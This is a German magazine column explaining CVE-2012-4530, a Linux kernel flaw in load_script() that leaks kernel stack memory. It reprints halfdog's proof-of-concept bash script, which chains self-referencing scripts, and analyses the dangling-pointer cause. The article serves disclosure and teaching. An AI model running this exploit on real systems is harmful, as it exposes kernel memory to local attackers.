Die Reihe “Insecurity Bulletin” widmet sich Sicherheitsproblemen in Linux und Open-Source-Software. Dabei dienen aktuelle Schwachstellen als Anschauungsmaterial. In dieser Folge geht es um eine Sicherheitslücke im binfmt_misc-Mechanismus des Linux-Kernels.
Mit dem »binfmt_misc« -Mechanismus erkennt der Linux-Kernel beliebige ausführbare Dateien und übergibt sie dem passenden Userland-Programm. Bei Skripten ist das einfach, denn in der ersten Zeile steht ein Shebang wie »#!/bin/bash« . Bei Binärdateien verwendet die »binfmt_misc« -Technik deren erste Bytes als Erkennungsmuster, die so genannte Magic Number.
Die Zuordnung zwischen Muster und Interpreter ist in einer Datenbank auf dem System abgelegt. Unter Linux befindet sie sich standardmäßig in »/proc/sys/fs/binfmt_misc« im Proc-Dateisystem. Eine nähere Beschreibung ist beispielsweise im Slackware-Wiki nachzulesen [1].
Geklaute Bytes
Eine kürzlich entdeckte Schwachstelle in der Funktion »load_script()« der Kernel-Quelltextdatei »fs/binfmt_script.c« erlaubt, dass ein lokaler Angreifer Bereiche des Kernelspeichers auslesen kann [2]. Der Entdecker, ein Hacker mit dem Pseudonym Halfdog, hat auch ein Shellskript als Proof-of-Concept-Exploit veröffentlicht (Listing 1).
Listing 1
Proof of Concept
01 #!/bin/bash
02 [...]
03 # Copyright (c) 2011 halfdog <me (%) halfdog.net>
04 [...]
05 fileNum=0
06 filePrefix=$'\r'"file-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
07
08 while [ "${fileNum}" != 60 ]; do
09 lastNum="${fileNum}"
10 lastName="${filePrefix}-${lastNum}"
11 let fileNum=fileNum+1
12 fileName="${filePrefix}-${fileNum}"
13 cat <<EOF > "${lastName}"
14 #!${fileName} xxx
15 echo "Not reached"
16 EOF
17 chmod 0755 -- "${lastName}"
18 done
19
20 cat <<EOF > "${fileName}"
21 #!/bin/bash
22 echo "Args"
23 cat /proc/\$\$/cmdline
24 EOF
25 chmod 0755 -- "${fileName}"
26
27 "./${filePrefix}-0" | tee output | xxd
28 rm -- *file-*
Dieser Code erzeugt mehrere Skripte, die sich gegenseitig aufrufen. Das bringt den Kernel durcheinander. Am Ende gelingt es dem Exploit, bestimmte Bereiche des Kernelstacks zu lesen und in eine Ausgabedatei zu schreiben. Das Problem tritt auf, weil der Kernel bei jedem »load_script()« -Aufruf den Interpreter auf dem Stackframe ablegt. In Listing 1 ruft sich das Programm immer wieder selbst auf.
Zum Schutz dagegen ist im Kernel-Quelltext »BINPRM_MAX_RECURSION« als maximale Rekursionstiefe eingebaut. Ist diese erreicht, kehrt die Funktion »load_script()« zurück, ohne etwas zu tun. Dabei behandelt der Code den auf die Interpreter zeigenden Stackpointer »bprm->interp« nicht korrekt. Deshalb zeigt dieser schließlich auf eine ungültige Adresse, wird also zu einem so genannten Dangling Pointer.
Das wäre eigentlich unproblematisch, da er nicht mehr benötigt wird, weil die maximale Rekursionstiefe erreicht ist. Sollte aber die Kerneloption »CONFIG_MODULES« gesetzt sein, so wird der Speicher, auf den »bprm->interp« zeigt, an »exec args« angehängt. So erhält ein Angreifer Lesezugriff auf den Kernelstack.
Halfdog hat auf der Kernel-Mailingliste mit Entwicklern wie Kees Cook und Randy Dunlap diskutiert, wie sich das Problem durch ein Patch für »fs/binfmt_script.c« schließen lässt. Bis Redaktionsschluss gab es allerdings noch keine verabschiedete Lösung. Das Sicherheitsproblem hat die CVE-Nummer 2012-4530 zugeteilt bekommen.
Infos
- »binfmt_misc« im Slackware-Wiki: http://docs.slackware.com/howtos:hardware:binfmt_misc
- Beschreibung und Exploit-Code: http://www.halfdog.net/Security/2012/LinuxKernelBinfmtScriptStackDataDisclosure/





